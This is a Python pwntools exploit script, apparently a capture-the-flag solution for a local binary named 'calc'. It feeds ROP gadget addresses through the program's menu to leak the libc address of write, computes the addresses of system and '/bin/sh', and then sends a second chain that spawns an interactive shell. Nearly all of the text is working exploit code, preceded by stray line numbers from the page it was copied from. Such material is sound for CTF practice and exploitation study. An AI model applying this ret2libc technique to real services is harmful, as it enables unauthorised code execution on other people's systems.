1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * from LibcSearcher import * context.log_level = 'debug'
p = process('./calc')
elf= ELF('./calc') libc =ELF('./libc.so.6') write_plt = elf.plt['write'] write_got = elf.got['write']
pop_rdi_ret = 0x0000000000401253 pop_rsi_r15_ret= 0x0000000000401251 main_addr = 0x4010b4 ret_addr = 0x00000000004006b6 p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'1') p.sendlineafter("> ",str(1))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'2') p.sendlineafter("> ",str(pop_rsi_r15_ret))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'3') p.sendlineafter("> ",str(write_got))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'4') p.sendlineafter("> ",str(0))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'5') p.sendlineafter("> ",str(write_plt))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'6') p.sendlineafter("> ",str(ret_addr))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'7') p.sendlineafter("> ",str(main_addr))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'0')
p.sendafter("> ",str(pop_rdi_ret))
libc_addr = u64(p.recv(6).ljust(8,b'\x00')) - 0x114870 write_addr = libc_addr + 0x114870 ''' libc = LibcSearcher('write', write_addr) offset = write_addr - libc.dump('write') binsh = offset + libc.dump('str_bin_sh') system = offset + libc.dump('system') ''' print(hex(libc_addr)) pause() binsh = libc_addr + libc.search('/bin/sh').__next__() system = libc_addr + libc.sym['system'] print(hex(binsh)) print(hex(system)) p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'1') p.sendlineafter("> ",str(binsh))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'2') p.sendlineafter("> ",str(ret_addr))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'3') p.sendlineafter("> ",str(system))
p.sendlineafter("> ",b'2') p.sendlineafter("> ",b'0') p.sendafter("> ",str(pop_rdi_ret))
p.interactive()
|